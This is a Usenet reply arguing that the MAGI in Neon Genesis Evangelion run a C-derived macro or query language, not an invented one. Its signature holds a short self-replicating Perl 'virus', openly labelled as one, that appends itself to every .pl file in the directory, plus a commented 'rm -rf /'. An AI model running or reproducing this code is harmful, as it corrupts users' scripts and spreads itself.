Re: Which programming languages in NGE?
Scripsit illa aut ille Disaster <disaster@disfanfic.net>:
> "Rudolf Polzer" <AntiATField_adsgohere@durchnull.de> wrote:
> > In 2004 there won't be many different languages from what we know now.
> > Especially if you think about they won't use a language for which there
> > isn't even one working and well optimizing compiler.
> >
> > If you want to create a supercomputer, you won't start with designing a
> > programming language. You'll start with thinking about what language you
> > might use, what processor's features you could use in order to optimize
> > and which other architecture details might help.
>
> Well, to start, are you aware of every programming language in the world
> today?
No, but I am aware that the language used on the control terminal is a
C-like language. It uses {, } and indentation exactly like they are used
in current C, so syntactically it is a language derived from C. Of
course there might be differences, probably (or better: surely) another
library, some syntactic extensions, but mostly it is a "C-like language"
(as is C++, C#, Java, JavaScript).
> Do you know if there are any programs that are secret and that you
> have not been made aware of, because they are secret?
There's no reason for a programming language to be secret.
> It's perfectly plausible that the MAGI use their own language
> especially as they have very special and unique processors.
If you call it an own language because some small things (like the
library or some keywords) have changed: Yes.
> > OK, Nicolas Wirth's Pascal will stay as is: useless, but still there.
> > C++ also has the chance to stay until 2015, as well as BASIC.
>
> So what? I say that the MAGI use there own language. Why? Because you
> can't determine which they use for sure and they are very unique and
> specialized units.
Probably not really "an own language". It seems more like a language
derived from a current one.
If you design a new language that is not derived from a current one, you
won't find programmers learning it. But if it looks like C or Pascal
(and has similar semantics), they will do it. A big project like MAGI
cannot be done if the programmers first have to learn a completely new
programming language. Of course MAGI does not have a straightforward
control flow, many routines can run at one time - but that should not
hinder programmers who already know fork() and multithreading - but of
course the MAGI features for this are even more powerful.
Also, I do not think MAGI is programmed in the language displayed on the
control terminals. Probably there is no "programming language" for MAGI
since MAGI is not a computer like you are sitting in front of. It's got
an I/O interface to receive commands and/or questions in some query
language and control terminals to create such queries. Those control
terminals do have macro languages, and that's what is visible on the
screen.
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
Fnews-brouse 1.9(20180406) -- by Mizuno, MWE <mwe@ccsf.jp>
GnuPG Key ID = ECC8A735
GnuPG Key fingerprint = 9BE6 B9E9 55A5 A499 CD51 946E 9BDC 7870 ECC8 A735